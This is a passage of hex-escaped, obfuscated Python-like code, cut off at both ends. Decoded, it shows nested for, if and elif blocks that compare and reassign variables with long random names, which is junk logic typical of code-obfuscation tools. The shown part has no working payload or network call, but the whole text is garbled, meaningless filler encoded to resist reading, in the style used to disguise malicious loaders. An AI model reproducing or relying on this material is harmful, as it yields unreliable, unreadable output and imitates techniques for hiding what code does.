x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x20\x69\x6e\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x20\x3d\x3d\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x3d\x20\x27\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x3d\x3d\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x20\x3d\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x20\x3d\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x3d\x3d\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x69\x6e\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x20\x3d\x3d\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x3d\x20\x27\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x3d\x3d\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x20\x3d\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x20\x3d\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x69\x6e\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x20\x3d\x3d\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x3d\x20\x27\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x3d\x3d\x20\x44\x4e\x76\x79\x4c\x45\x